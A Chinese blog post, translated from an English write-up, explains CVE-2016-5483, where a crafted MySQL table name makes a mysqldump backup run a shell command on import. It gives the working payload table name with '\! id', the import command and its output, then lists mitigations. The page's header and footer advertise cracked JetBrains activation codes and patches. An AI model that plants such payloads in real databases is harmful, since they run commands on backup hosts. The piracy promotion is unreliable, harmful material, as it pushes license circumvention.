专注于 JetBrains IDEA 全家桶,永久激活,教程
持续更新 PyCharm,IDEA,WebStorm,PhpStorm,DataGrip,RubyMine,CLion,AppCode 永久激活教程

MySQL mysqldump BUG, MySQL mysqldump 使用,MySQL mysqldump 操作

1. 简介

mysqldump 是备份 MySQL 数据库的常用工具,其中会包含 创建表、删除表、插入数据 这些数据库操作的语句

而黑客可能会利用 mysqldump 来黑掉你的系统,在 dump 文件被导入时就会执行黑客设置好的 SQL 语句或者 shell 命令

2. 实验

场景假设

1)黑客已经获得了应用的访问权,可以执行任意的 SQL,例如你使用了 WordPress 等开源系统,就很有可能被黑客搞定

2)黑客具有 CREATE TABLE 权限,这也不难,很多开源系统的安装教程中都不会注意这点,可能其中某个步骤就是让你执行

GRANT ALL PRIVILEGES ON wordpress.*

3)使用 mysqldump 进行常规备份

4)黑客想要提升他们的权限,进而可以访问操作系统

过程

首先创建一个恶意表

CREATE TABLE `evil  
\! id
select user(),@@version/*`  (test text);  

之后使用 mysqldump 备份数据库

在正常情况下,dump 文件中应该是这样的结构

--
-- Table structure for table `tablename`
--

而现在则会变成这样

--
-- Table structure for table `evil
\! id
select user(),@@version/*`  
--

然后使用 dump 文件导入数据库

mysql test < test.dump

输出信息:

uid=1000(mysql5.7) gid=1000(mysql5.7) 组=1000(mysql5.7)
user()  @@version
root@localhost  5.7.17-log

可以看到,已经成功执行了系统命令

3. 弥补方法

  • 使用 mysqldump 时设置 --skip-comments
  • 撤回建表权限
  • 尽量只 dump 表数据

这个问题比较普遍,需要注意,涉及的数据库包括:

数据库

版本

MySQL

所有版本

MariaDB

<= 5.5.52 且 < 10.1

Percona

所有版本

4. 小结

本文翻译整理自

https://blog.tarq.io/cve-2016-5483-backdooring-mysqldump-backups

这个安全点对我很有价值,我的 mysqldump 就没有设置忽略注释,需要补上,所以写出来供有同类问题的小伙伴们参考

文章永久链接:https://tech.souyunku.com/12308

未经允许不得转载:搜云库技术团队 » MySQL mysqldump BUG, MySQL mysqldump 使用,MySQL mysqldump 操作

JetBrains 全家桶,激活、破解、教程

提供 JetBrains 全家桶激活码、注册码、破解补丁下载及详细激活教程,支持 IntelliJ IDEA、PyCharm、WebStorm 等工具的永久激活。无论是破解教程,还是最新激活码,均可免费获得,帮助开发者解决常见激活问题,确保轻松破解并快速使用 JetBrains 软件。获取免费的破解补丁和激活码,快速解决激活难题,全面覆盖 2024/2025 版本!

联系我们联系我们